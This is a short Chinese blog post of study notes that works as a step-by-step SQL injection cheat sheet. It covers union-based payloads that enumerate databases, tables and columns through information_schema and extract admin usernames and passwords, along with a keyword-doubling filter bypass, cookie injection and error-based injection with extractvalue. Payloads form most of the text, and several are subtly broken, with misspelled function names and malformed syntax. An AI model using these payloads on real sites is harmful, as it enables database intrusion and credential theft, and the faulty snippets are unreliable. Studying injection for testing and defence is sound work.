SQL注入

union联合注入 第一步 判断注入点 ?id=1 and 1=1 ?id=1 and 1=2

?id=1 and 'a'='a' ?id=1 and 'a'='b'

第二步 判断自然数 ?id= 1 order by 1 2 3 ...... 看看有几列存在

第三步 判断回显点 ?id=1 union select 1,database

可以在前面加上查询不到的来查找想查找的结果

?id=1.2 union select 1,database ?id=1 and 1=2 union select 1,database

第四步 查询相关内容
猜询数据库版本
and 1=2 union select 1,version()
猜询数据库
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
and 1=2 union select 1,table_name from information_schema.tables where table_schema='库名'limit 0,1
查询字段名
and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin'limit 0,1
查询字段内容
and 1=2 union select 1,username from admin

参数过滤可使用 un union ion seselectlect 类似的绕过

access联合注入 union select 1,2,3,4,5,6,7,8,9,10 from admin

exists函数 exists(select username from admin)

union select 1,2,3,4,5,6,username,password,9,10 from admin

 

cookie注入 modheader 改cookie的值 空格用加号代替

 

报错注入

extractvalue() 对xml的文档进行查询的函数示出来

select extractvlaue(目标xml文档,xml路径)

select extractvlaue(1,0x7e)

concat()将多个字符串连接成一个字符串

select cancat(str1,str2...)

select concat('~',(select database()))

 

'and select extractvalue (1,concat('~',(select database())))

posted @   Ctsz1丶  阅读(22)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示

阅读目录(Content)

此页目录为空

点击右上角即可分享
微信分享提示